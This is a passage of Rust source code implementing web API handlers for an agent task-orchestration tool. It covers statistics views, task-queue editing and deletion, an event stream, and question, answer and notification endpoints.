6480 deferred: e.deferred,
6481 sole_rate: RateView::of(e.sole_detections, e.failures),
6482 }
6483 }
6484}
6485
6486#[derive(Debug, Serialize)]
6494struct ReleaseBumpStatsView {
6495 merged: usize,
6496 recorded: usize,
6497 pr_opened: usize,
6498 automerge_enabled: usize,
6499 merged_directly: usize,
6500 needs_attention: usize,
6501 clean: usize,
6502 coverage_rate: Option<RateView>,
6503 automerge_rate: Option<RateView>,
6504 attention_rate: Option<RateView>,
6505}
6506
6507impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
6508 fn from(b: &stats::ReleaseBumpStats) -> Self {
6509 Self {
6510 merged: b.merged,
6511 recorded: b.recorded,
6512 pr_opened: b.pr_opened,
6513 automerge_enabled: b.automerge_enabled,
6514 merged_directly: b.merged_directly,
6515 needs_attention: b.needs_attention,
6516 clean: b.clean(),
6517 coverage_rate: RateView::of(b.recorded, b.merged),
6518 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
6519 attention_rate: RateView::of(b.needs_attention, b.recorded),
6520 }
6521 }
6522}
6523
6524#[derive(Debug, Serialize)]
6526struct TaskCountsView {
6527 queued: usize,
6528 running: usize,
6529 done: usize,
6530 failed: usize,
6531 held: usize,
6532 blocked: usize,
6533 parked: usize,
6534}
6535
6536impl From<crate::queue::TaskCounts> for TaskCountsView {
6537 fn from(c: crate::queue::TaskCounts) -> Self {
6538 Self {
6539 queued: c.queued,
6540 running: c.running,
6541 done: c.done,
6542 failed: c.failed,
6543 held: c.held,
6544 blocked: c.blocked,
6545 parked: c.parked,
6546 }
6547 }
6548}
6549
6550#[derive(Debug, Serialize)]
6556struct RepoSummaryView {
6557 repo: String,
6560 name: String,
6562 runs: usize,
6563 completion_rate: Option<RateView>,
6564}
6565
6566impl From<&stats::RepoStats> for RepoSummaryView {
6567 fn from(r: &stats::RepoStats) -> Self {
6568 let t = &r.stats.totals;
6569 Self {
6570 repo: r.repo.to_string_lossy().into_owned(),
6571 name: r.name.clone(),
6572 runs: t.runs,
6573 completion_rate: RateView::of(t.merged + t.ready, t.runs),
6574 }
6575 }
6576}
6577
6578#[derive(Debug, Serialize)]
6584struct StatsView {
6585 totals: StatsTotalsView,
6586 agents: Vec<AgentStatsView>,
6588 reviewers: Vec<ReviewerStatsView>,
6590 advisors: Vec<AdvisorStatsView>,
6592 e2e: E2eStatsView,
6593 release_bumps: ReleaseBumpStatsView,
6594 queue: Option<TaskCountsView>,
6595 runs_unreadable: usize,
6605 repos: Vec<RepoSummaryView>,
6609 daily: Vec<DailyStatsView>,
6614 repo: Option<String>,
6618 retired_hidden: Vec<String>,
6622}
6623
6624#[derive(Debug, Serialize)]
6626struct DailyStatsView {
6627 date: String,
6629 runs: usize,
6630 merged: usize,
6631 ready: usize,
6632 other: usize,
6633 completion_rate: Option<RateView>,
6635}
6636
6637impl From<&stats::DayBucket> for DailyStatsView {
6638 fn from(b: &stats::DayBucket) -> Self {
6639 Self {
6640 date: b.date.to_string(),
6641 runs: b.runs,
6642 merged: b.merged,
6643 ready: b.ready,
6644 other: b.other,
6645 completion_rate: RateView::of(b.merged + b.ready, b.runs),
6646 }
6647 }
6648}
6649
6650const STATS_DAILY_DAYS: usize = 30;
6652
6653#[derive(Debug, Default, Deserialize)]
6662#[serde(default)]
6663struct StatsQuery {
6664 repo: Option<String>,
6665 all: bool,
6667 runs_only: bool,
6669}
6670
6671async fn stats_get(
6678 State(ui): State<Arc<Ui>>,
6679 Query(q): Query<StatsQuery>,
6680) -> ApiResult<Json<StatsView>> {
6681 blocking(move || {
6682 let states: Vec<RunState> = run_ids(&ui.runs)
6683 .into_iter()
6684 .filter_map(|id| read_run(&ui.runs, &id).ok())
6685 .collect();
6686 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
6687 .iter()
6688 .map(RepoSummaryView::from)
6689 .collect();
6690 let mut scoped: Vec<&RunState> = states.iter().collect();
6691 let mut collected = match &q.repo {
6692 Some(repo) => {
6693 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
6694 if filtered.is_empty() {
6695 return Err(ApiError::not_found(format!(
6696 "no runs recorded against repo `{repo}`"
6697 )));
6698 }
6699 scoped = filtered.clone();
6700 stats::collect_refs(filtered)
6701 }
6702 None => stats::collect(&states),
6703 };
6704 if !q.all {
6705 let repo = q
6706 .repo
6707 .as_deref()
6708 .map_or_else(|| ui.repo.clone(), PathBuf::from);
6709 stats::retain_current_roster(&mut collected, &repo);
6710 }
6711 let daily = stats::daily(
6712 scoped,
6713 jiff::Zoned::now().date(),
6714 &jiff::tz::TimeZone::system(),
6715 STATS_DAILY_DAYS,
6716 );
6717 let queue_counts = (!q.runs_only)
6718 .then(|| TaskCountsView::from(crate::queue::TaskCounts::of(&ui.queue.list())));
6719 Ok(Json(StatsView {
6720 totals: StatsTotalsView::from(&collected.totals),
6721 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
6722 reviewers: collected
6723 .reviewers
6724 .iter()
6725 .map(ReviewerStatsView::from)
6726 .collect(),
6727 advisors: collected
6728 .advisors
6729 .iter()
6730 .map(AdvisorStatsView::from)
6731 .collect(),
6732 e2e: E2eStatsView::from(&collected.e2e),
6733 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
6734 queue: queue_counts,
6735 runs_unreadable: runs_unreadable(&ui.runs),
6736 repos,
6737 daily: daily.iter().map(DailyStatsView::from).collect(),
6738 repo: q.repo.clone(),
6739 retired_hidden: collected.retired_hidden.clone(),
6740 }))
6741 })
6742 .await
6743}
6744
6745#[derive(Debug, Default, Deserialize)]
6748#[serde(default, deny_unknown_fields)]
6749struct HoldBody {
6750 reason: Option<String>,
6751}
6752
6753async fn queue_hold(
6754 State(ui): State<Arc<Ui>>,
6755 Path(id): Path<String>,
6756 body: std::result::Result<Json<HoldBody>, JsonRejection>,
6757) -> ApiResult<Json<TaskView>> {
6758 let body = match body {
6762 Ok(Json(body)) => body,
6763 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
6764 Err(e) => return Err(ApiError::bad_request(e.body_text())),
6765 };
6766 let reason = body.reason.filter(|r| !r.trim().is_empty());
6767 mutate(ui, id, move |t| {
6768 t.hold_manual(reason.clone());
6769 Ok(())
6770 })
6771 .await
6772}
6773
6774async fn queue_release(
6775 State(ui): State<Arc<Ui>>,
6776 Path(id): Path<String>,
6777) -> ApiResult<Json<TaskView>> {
6778 mutate(ui, id, |t| {
6779 t.release_operator("web", None);
6780 Ok(())
6781 })
6782 .await
6783}
6784
6785#[derive(Debug, Deserialize)]
6786#[serde(deny_unknown_fields)]
6787struct AttemptLimitBody {
6788 attempt_limit: serde_json::Value,
6790}
6791
6792async fn queue_attempt_limit(
6793 State(ui): State<Arc<Ui>>,
6794 Path(id): Path<String>,
6795 body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
6796) -> ApiResult<Json<TaskView>> {
6797 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6798 let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
6799 .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
6800 mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
6801}
6802
6803#[derive(Debug, Deserialize)]
6804#[serde(deny_unknown_fields)]
6805struct ImplementersBody {
6806 implementers: u8,
6807}
6808
6809async fn queue_implementers(
6810 State(ui): State<Arc<Ui>>,
6811 Path(id): Path<String>,
6812 body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
6813) -> ApiResult<Json<TaskView>> {
6814 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6815 mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
6816}
6817
6818#[derive(Debug, Deserialize)]
6819#[serde(deny_unknown_fields)]
6820struct UrgentBody {
6821 urgent: bool,
6822}
6823
6824async fn queue_urgent(
6825 State(ui): State<Arc<Ui>>,
6826 Path(id): Path<String>,
6827 body: std::result::Result<Json<UrgentBody>, JsonRejection>,
6828) -> ApiResult<Json<TaskView>> {
6829 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6830 mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
6831}
6832
6833#[derive(Debug, Deserialize)]
6835#[serde(deny_unknown_fields)]
6836struct PriorityBody {
6837 priority: i32,
6838}
6839
6840async fn queue_priority(
6846 State(ui): State<Arc<Ui>>,
6847 Path(id): Path<String>,
6848 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
6849) -> ApiResult<Json<TaskView>> {
6850 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6851 mutate(ui, id, move |t| t.set_priority(body.priority)).await
6852}
6853
6854#[derive(Debug, Deserialize)]
6856#[serde(deny_unknown_fields)]
6857struct EditBody {
6858 title: String,
6859 instruction: String,
6860 #[serde(default)]
6863 force: bool,
6864}
6865
6866async fn queue_edit(
6870 State(ui): State<Arc<Ui>>,
6871 Path(id): Path<String>,
6872 body: std::result::Result<Json<EditBody>, JsonRejection>,
6873) -> ApiResult<Json<TaskView>> {
6874 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6875 let mut judged: Option<(String, PathBuf)> = None;
6879 if !body.force {
6880 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
6881 let (id, text) = (id.clone(), body.instruction.clone());
6882 let (seen, hits) = blocking(move || {
6883 let id = resolve_task(&queue, &id)?;
6884 let t = queue.get(&id)?;
6885 if text == t.instruction {
6886 return Ok((None, Vec::new()));
6887 }
6888 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
6889 Ok((Some((t.instruction, t.repo)), hits))
6890 })
6891 .await?;
6892 if let Some((_, repo)) = &seen {
6893 let cfg = crate::config::Config::discover(repo, None)
6894 .ok()
6895 .map(|(c, _)| c);
6896 let screened =
6897 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
6898 .await
6899 .map_err(|dup| {
6900 ApiError::conflict(dup.render(
6901 "Nothing was saved. If it is not a duplicate, repeat the request \
6902 with \"force\": true.",
6903 ))
6904 })?;
6905 if let crate::dupes::Screened::Unjudged(why) = screened {
6906 tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
6907 }
6908 }
6909 judged = seen;
6910 }
6911 let force = body.force;
6912 mutate(ui, id, move |t| {
6913 if !force && body.instruction != t.instruction {
6914 match &judged {
6915 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
6916 _ => {
6917 anyhow::bail!("the task changed while it was being checked; repeat the request")
6918 }
6919 }
6920 }
6921 t.edit(body.title.clone(), body.instruction.clone())
6922 })
6923 .await
6924}
6925
6926async fn queue_done(
6934 State(ui): State<Arc<Ui>>,
6935 Path(id): Path<String>,
6936) -> ApiResult<Json<TaskView>> {
6937 let home = ui.home.clone();
6938 mutate(ui, id, move |t| {
6939 t.succeed();
6940 crate::daemon::supersede_prior_runs(t, &home);
6948 Ok(())
6949 })
6950 .await
6951}
6952
6953async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6961 blocking(move || {
6962 let id = resolve_task(&ui.queue, &id)?;
6963 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
6964 ui.queue
6965 .remove(&id, in_flight, &ui.questions)
6966 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
6967 Ok(StatusCode::NO_CONTENT)
6968 })
6969 .await
6970}
6971
6972async fn mutate(
6981 ui: Arc<Ui>,
6982 id: String,
6983 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
6984) -> ApiResult<Json<TaskView>> {
6985 blocking(move || {
6986 let id = resolve_task(&ui.queue, &id)?;
6987 let _claim = ui.queue.claim(&id).map_err(|e| {
6992 ApiError::conflict(format!(
6993 "{e:#} - a daemon is running this task, so it cannot be \
6994 changed from here yet; wait until it is released, then retry"
6995 ))
6996 })?;
6997 let mut task = ui.queue.get(&id)?;
6998 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
6999 Ok(dup) => ApiError::conflict(dup.render(
7000 "Nothing was saved. If it is not a duplicate, repeat the request with \
7001 \"force\": true.",
7002 )),
7003 Err(e) => ApiError::bad_request_from(e),
7004 })?;
7005 ui.queue.put(&mut task)?;
7006 Ok(Json(TaskView::from(task)))
7007 })
7008 .await
7009}
7010
7011async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
7016 ui.monitor.ensure_worker(&ui);
7017 let mut broadcast_rx = ui.monitor.broadcaster.subscribe();
7018 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
7019
7020 let state = Arc::clone(&ui);
7021 tokio::spawn(async move {
7022 let initial_revisions = {
7023 let guard = match state.monitor.latest.lock() {
7024 Ok(g) => g,
7025 Err(p) => p.into_inner(),
7026 };
7027 guard.as_ref().map(|(r, _)| *r)
7028 };
7029 if let Some(revisions) = initial_revisions {
7030 let initial_payload = serde_json::json!({
7031 "queue_rev": revisions.0,
7032 "runs_rev": revisions.1,
7033 "questions_rev": revisions.2,
7034 "talks_rev": revisions.3,
7035 "notifications_rev": revisions.4,
7036 "loop_rev": revisions.5,
7037 });
7038
7039 if let Ok(event) = Event::default().event("change").json_data(initial_payload) {
7040 if tx.send(event).await.is_err() {
7041 return;
7042 }
7043 }
7044 }
7045
7046 loop {
7047 match tokio::select! {
7048 _ = tx.closed() => return,
7049 value = broadcast_rx.recv() => value,
7050 } {
7051 Ok(notif) => {
7052 let Ok(event) = Event::default().event("change").json_data(notif.payload)
7053 else {
7054 break;
7055 };
7056 if tx.send(event).await.is_err() {
7057 break;
7058 }
7059 }
7060 Err(tokio::sync::broadcast::error::RecvError::Lagged(_)) => {
7061 let revs = {
7062 let guard = match state.monitor.latest.lock() {
7063 Ok(g) => g,
7064 Err(p) => p.into_inner(),
7065 };
7066 guard.as_ref().map(|(r, _)| *r)
7067 };
7068 if let Some(revs) = revs {
7069 let payload = serde_json::json!({
7070 "queue_rev": revs.0,
7071 "runs_rev": revs.1,
7072 "questions_rev": revs.2,
7073 "talks_rev": revs.3,
7074 "notifications_rev": revs.4,
7075 "loop_rev": revs.5,
7076 });
7077 if let Ok(event) = Event::default().event("change").json_data(payload) {
7078 if tx.send(event).await.is_err() {
7079 break;
7080 }
7081 }
7082 }
7083 }
7084 Err(tokio::sync::broadcast::error::RecvError::Closed) => {
7085 break;
7086 }
7087 }
7088 }
7089 });
7090
7091 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
7092 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
7093}
7094
7095fn run_ids(runs: &FsPath) -> Vec<String> {
7101 let mut ids: Vec<String> = std::fs::read_dir(runs)
7102 .into_iter()
7103 .flatten()
7104 .flatten()
7105 .filter(|e| e.path().join("run.json").is_file())
7106 .map(|e| e.file_name().to_string_lossy().into_owned())
7107 .collect();
7108 ids.sort_unstable_by(|a, b| b.cmp(a));
7110 ids
7111}
7112
7113fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
7115 let path = runs.join(id).join("run.json");
7116 let body =
7117 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
7118 let state: RunState =
7119 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
7120 run::migrate_schema(state)
7125}
7126
7127#[must_use]
7135pub fn runs_unreadable(runs: &FsPath) -> usize {
7136 run_ids(runs)
7137 .into_iter()
7138 .filter(|id| read_run(runs, id).is_err())
7139 .count()
7140}
7141
7142fn plain_record_id(id: &str) -> bool {
7143 !id.is_empty() && id != "." && id != ".." && !id.contains(['/', '\\'])
7144}
7145
7146fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
7148 if plain_record_id(id) && runs.join(id).join("run.json").is_file() {
7149 return Ok(id.to_owned());
7150 }
7151 pick(run_ids(runs), id, "run")
7152}
7153
7154fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
7156 if plain_record_id(id) && queue.path_of(id).is_file() {
7157 return Ok(id.to_owned());
7158 }
7159 let ids = crate::queue::record_ids(queue.root(), "json").unwrap_or_default();
7160 pick(ids, id, "task")
7161}
7162
7163#[derive(Debug, Serialize)]
7174struct QuestionView {
7175 choice_effects: std::collections::BTreeMap<String, String>,
7176 record_revision: String,
7177 #[serde(flatten)]
7178 question: Question,
7179 detail_md: Vec<md::Node>,
7180 posting_view: Option<PostingView>,
7181 thread_bodies_md: Vec<Vec<md::Node>>,
7183 thread_notes_md: Vec<Option<Vec<md::Node>>>,
7186 waiting_on_agent: bool,
7196 holder: Option<&'static str>,
7200 deputies_enabled: bool,
7204 deputy_exhausted: bool,
7207 text_delivery: crate::question_delivery::Availability,
7208 run_is_task: bool,
7211 origin_chat: Option<String>,
7214 origin_chat_closed: bool,
7216 can_consult_chat: bool,
7218}
7219
7220#[derive(Debug, Serialize)]
7221struct PostingView {
7222 before_md: Vec<md::Node>,
7223 after_md: Vec<md::Node>,
7224 fields: Vec<crate::github_text::ComparisonView>,
7225}
7226
7227fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
7228 let comparison = question.posting_comparison.as_ref()?;
7229 if !comparison.matches_detail(&question.detail) {
7230 return None;
7231 }
7232 let mut ids = std::collections::BTreeSet::new();
7233 if comparison.fields.is_empty()
7234 || comparison
7235 .fields
7236 .iter()
7237 .flat_map(|f| &f.pairs)
7238 .any(|p| !ids.insert(p.id))
7239 || comparison
7240 .fields
7241 .iter()
7242 .flat_map(|f| &f.original_triggers)
7243 .any(|t| !ids.insert(t.id))
7244 {
7245 return None;
7246 }
7247 let fields = comparison
7248 .fields
7249 .iter()
7250 .map(|f| f.view(comparison.excerpt))
7251 .collect::<Option<Vec<_>>>()?;
7252 Some(PostingView {
7253 before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
7254 after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
7255 fields,
7256 })
7257}
7258
7259impl QuestionView {
7260 fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
7264 let base = md::ImageBase::QuestionPanel {
7265 id: question.id.clone(),
7266 };
7267 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
7268 Self {
7269 choice_effects: question
7270 .choices
7271 .iter()
7272 .filter_map(|c| {
7273 crate::choice_effect::describe(&question, c).map(|effect| (c.clone(), effect))
7274 })
7275 .collect(),
7276 record_revision: question_record_revision(&question),
7277 detail_md: md::to_nodes(&question.detail, &base),
7278 posting_view: posting_view(&question, &base),
7279 thread_bodies_md: question
7280 .thread
7281 .iter()
7282 .map(|t| md::to_nodes(&t.body, &base))
7283 .collect(),
7284 thread_notes_md: question
7285 .thread
7286 .iter()
7287 .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
7288 .collect(),
7289 deputy_exhausted: store.deputy_exhausted(&question),
7290 waiting_on_agent: question.waiting_on_agent(),
7291 holder,
7292 deputies_enabled: deputies_enabled(cfg, &question),
7293 text_delivery: crate::question_delivery::availability(store, &question, cfg),
7294 run_is_task: question.run_names_task(),
7295 origin_chat: None,
7296 origin_chat_closed: false,
7297 can_consult_chat: false,
7298 question,
7299 }
7300 }
7301
7302 fn with_origin(
7304 mut self,
7305 tasks: &[crate::queue::Task],
7306 talks: &[Talk],
7307 watches: &[crate::release_watch::WatchState],
7308 ) -> Self {
7309 let consult = crate::consult::origin_talk(tasks, talks, &self.question);
7310 self.can_consult_chat = consult.is_some();
7311 let talk =
7312 crate::consult::associated_talk_with_watches(tasks, talks, &self.question, watches);
7313 self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
7314 self.origin_chat = talk.map(|t| t.id);
7315 self
7316 }
7317}
7318
7319fn deputy_config(repo: &std::path::Path) -> Option<Config> {
7323 Config::discover(repo, None).ok().map(|(c, _)| c)
7324}
7325
7326fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
7328 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
7329}
7330
7331fn question_views(
7334 qs: Vec<Question>,
7335 store: &ask::Questions,
7336 load: impl FnOnce() -> Option<Config>,
7337) -> Vec<QuestionView> {
7338 if qs.is_empty() {
7339 return Vec::new();
7340 }
7341 let cfg = load();
7342 qs.into_iter()
7343 .map(|q| QuestionView::of(q, store, cfg.as_ref()))
7344 .collect()
7345}
7346
7347fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
7357 if !q.status.open() {
7358 return None;
7359 }
7360 if q.cwd.is_none()
7361 && q.deputy.is_none()
7362 && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
7363 {
7364 return crate::deputy::kind_of(q).map(|_| "nobody");
7365 }
7366 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
7367 Some(_) if q.deputy.is_some() => "deputy",
7368 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
7369 Some(_) => "asker",
7370 None => "nobody",
7371 })
7372}
7373
7374async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7380 blocking(move || {
7381 let questions = ui.questions.list();
7382 let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
7383 Ok(Json(
7384 question_views(questions, &ui.questions, || deputy_config(&ui.repo))
7385 .into_iter()
7386 .map(|view| view.with_origin(&tasks, &talks, &watches))
7387 .collect(),
7388 ))
7389 })
7390 .await
7391}
7392
7393async fn questions_core(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7395 blocking(move || {
7396 Ok(Json(question_views(
7397 ui.questions.list(),
7398 &ui.questions,
7399 || deputy_config(&ui.repo),
7400 )))
7401 })
7402 .await
7403}
7404
7405fn question_record_revision(question: &Question) -> String {
7406 use std::hash::{Hash as _, Hasher as _};
7407 let mut hash = std::hash::DefaultHasher::new();
7408 serde_json::to_vec(question)
7409 .expect("serializable question")
7410 .hash(&mut hash);
7411 format!("{:016x}", hash.finish())
7412}
7413
7414#[derive(Serialize)]
7415struct QuestionOriginView {
7416 id: String,
7417 record_revision: String,
7418 origin_chat: Option<String>,
7419 origin_chat_closed: bool,
7420 can_consult_chat: bool,
7421}
7422
7423async fn question_origins(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionOriginView>>> {
7424 blocking(move || {
7425 let questions = ui.questions.list();
7426 let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
7427 Ok(Json(
7428 questions
7429 .into_iter()
7430 .map(|question| {
7431 let consult = crate::consult::origin_talk(&tasks, &talks, &question);
7432 let can_consult_chat = consult.is_some();
7433 let talk = crate::consult::associated_talk_with_watches(
7434 &tasks, &talks, &question, &watches,
7435 );
7436 QuestionOriginView {
7437 record_revision: question_record_revision(&question),
7438 id: question.id,
7439 origin_chat_closed: talk.as_ref().is_some_and(|talk| !talk.status.open()),
7440 origin_chat: talk.map(|talk| talk.id),
7441 can_consult_chat,
7442 }
7443 })
7444 .collect(),
7445 ))
7446 })
7447 .await
7448}
7449
7450type QuestionOriginInputs = (Vec<Task>, Vec<Talk>, Vec<crate::release_watch::WatchState>);
7451
7452fn question_origin_inputs(ui: &Ui, questions: &[Question]) -> ApiResult<QuestionOriginInputs> {
7456 fn task_for_run(
7457 ui: &Ui,
7458 index: &mut Option<Vec<Arc<TaskRelation>>>,
7459 run: &str,
7460 loaded: &HashMap<String, Task>,
7461 ) -> ApiResult<Option<Task>> {
7462 if !plain_record_id(run) {
7463 return Ok(None);
7464 }
7465 if index.is_none() {
7466 *index = Some(ui.indexed_tasks()?);
7467 }
7468 Ok(index
7469 .as_ref()
7470 .expect("loaded index")
7471 .iter()
7472 .find(|task| task.runs.iter().any(|id| id == run))
7473 .and_then(|task| {
7474 loaded
7475 .get(&task.id)
7476 .cloned()
7477 .or_else(|| ui.queue.get(&task.id).ok())
7478 })
7479 .filter(|task| task.runs.iter().any(|id| id == run)))
7480 }
7481 let direct_task = |id: &str, loaded: &HashMap<String, Task>| {
7482 plain_record_id(id)
7483 .then(|| loaded.get(id).cloned().or_else(|| ui.queue.get(id).ok()))
7484 .flatten()
7485 .filter(|task| task.id == id)
7486 };
7487 let watches = crate::release_watch::states_for_questions(&ui.home, questions);
7488 let mut index = None;
7489 let mut tasks = HashMap::new();
7490 let mut talks = HashMap::new();
7491 for question in questions {
7492 for reference in crate::consult::question_task_refs(question, &watches) {
7493 let mut current = match reference {
7494 crate::consult::QuestionTaskRef::Task(id) => direct_task(id, &tasks),
7495 crate::consult::QuestionTaskRef::Run(id) => {
7496 task_for_run(ui, &mut index, id, &tasks)?
7497 }
7498 };
7499 let mut seen = HashSet::new();
7500 for _ in 0..=crate::followup::MAX_FOLLOWUP_GENERATION {
7501 let Some(task) = current.take() else {
7502 break;
7503 };
7504 if !seen.insert(task.id.clone()) {
7505 break;
7506 }
7507 let chat = task.chat_talk().map(str::to_owned);
7508 let followup = task.followup.clone();
7509 tasks.insert(task.id.clone(), task);
7510 if let Some(chat) = chat {
7511 if plain_record_id(&chat)
7512 && !talks.contains_key(&chat)
7513 && let Ok(talk) = ui.talks.get(&chat)
7514 {
7515 talks.insert(chat, talk);
7516 }
7517 break;
7518 }
7519 let Some(followup) = followup else {
7520 break;
7521 };
7522 current = match followup.origin_task {
7523 Some(id) => direct_task(&id, &tasks),
7524 None => task_for_run(ui, &mut index, &followup.run, &tasks)?,
7525 };
7526 }
7527 }
7528 }
7529 let mut tasks: Vec<Task> = tasks.into_values().collect();
7530 tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
7531 Ok((tasks, talks.into_values().collect(), watches))
7532}
7533
7534async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
7537 blocking(move || {
7538 let items = ui.notices.list();
7539 let unread = items.iter().filter(|n| n.unread()).count();
7540 let items: Vec<_> = items
7541 .into_iter()
7542 .map(|n| {
7543 let question = crate::notices::answerable_question(&n, &ui.questions);
7544 let mut item = serde_json::to_value(n)?;
7545 item["answerable_question"] = serde_json::json!(question);
7546 Ok(item)
7547 })
7548 .collect::<anyhow::Result<_>>()?;
7549 Ok(Json(
7550 serde_json::json!({ "unread": unread, "items": items }),
7551 ))
7552 })
7553 .await
7554}
7555
7556fn notice_error(e: anyhow::Error) -> ApiError {
7557 ApiError::not_found(format!("{e:#}"))
7560}
7561
7562async fn notification_read(
7564 State(ui): State<Arc<Ui>>,
7565 Path(id): Path<String>,
7566) -> ApiResult<Json<Notice>> {
7567 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
7568}
7569
7570async fn notification_dismiss(
7572 State(ui): State<Arc<Ui>>,
7573 Path(id): Path<String>,
7574) -> ApiResult<Json<Notice>> {
7575 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
7576}
7577
7578async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
7580 blocking(move || {
7581 let changed = ui.notices.mark_all_read()?;
7582 Ok(Json(serde_json::json!({ "marked": changed })))
7583 })
7584 .await
7585}
7586
7587#[derive(Debug, Default, Deserialize)]
7593#[serde(default, deny_unknown_fields)]
7594struct NewAnswer {
7595 choice: Option<String>,
7596 text: Option<String>,
7597 talk: Option<String>,
7598 head: Option<String>,
7599}
7600
7601async fn question_answer(
7602 State(ui): State<Arc<Ui>>,
7603 Path(id): Path<String>,
7604 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
7605) -> ApiResult<Json<QuestionView>> {
7606 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7607 let answer = match (body.choice, body.text) {
7608 (Some(c), None) => Answer::Choice(c),
7609 (None, Some(t)) => Answer::Text(t),
7610 (Some(_), Some(_)) => {
7611 return Err(ApiError::bad_request(
7612 "send either `choice` or `text`, not both",
7613 ));
7614 }
7615 (None, None) => {
7616 return Err(ApiError::bad_request("send a `choice` or a `text`"));
7617 }
7618 };
7619
7620 blocking(move || {
7621 let id = resolve_question(&ui.questions, &id)?;
7622 let q = ui
7623 .questions
7624 .get(&id)
7625 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
7626 if !q.status.open() {
7627 return Err(ApiError::conflict(format!(
7631 "question {} is already {}",
7632 q.short(),
7633 q.status.as_str()
7634 )));
7635 }
7636 let cfg = deputy_config(&ui.repo);
7640 let (q, ()) = ui
7641 .questions
7642 .update(&q.id, |r| {
7643 let merge = matches!(&answer, ask::Answer::Choice(c) if c == crate::land::APPROVE);
7644 if r.routed_task.is_some()
7647 && r.merge_target.is_some()
7648 && merge
7649 && (body.talk.is_some() || body.head.is_some())
7650 {
7651 let talk_id = body
7652 .talk
7653 .as_deref()
7654 .context("approval button requires its chat")?;
7655 let head = body
7656 .head
7657 .as_deref()
7658 .context("approval button requires the displayed head")?;
7659 let talk = ui.talks.get(talk_id)?;
7660 anyhow::ensure!(talk.status.open(), "approval chat is closed");
7661 r.answer_chat_button(answer, talk_id, head)
7662 } else {
7663 r.answer(answer)
7664 }
7665 })
7666 .map_err(ApiError::bad_request_from)?;
7667 let (tasks, talks, watches) =
7668 question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
7669 Ok(Json(
7670 QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
7671 ))
7672 })
7673 .await
7674}
7675
7676fn question_text_error(e: anyhow::Error) -> ApiError {
7678 let reason = e
7679 .downcast_ref::<crate::question_delivery::TextUnavailable>()
7680 .map(|e| e.reason);
7681 let error = ApiError::bad_request_from(e);
7682 if let Some(reason) = reason {
7683 ApiError {
7684 text_reason: Some(reason),
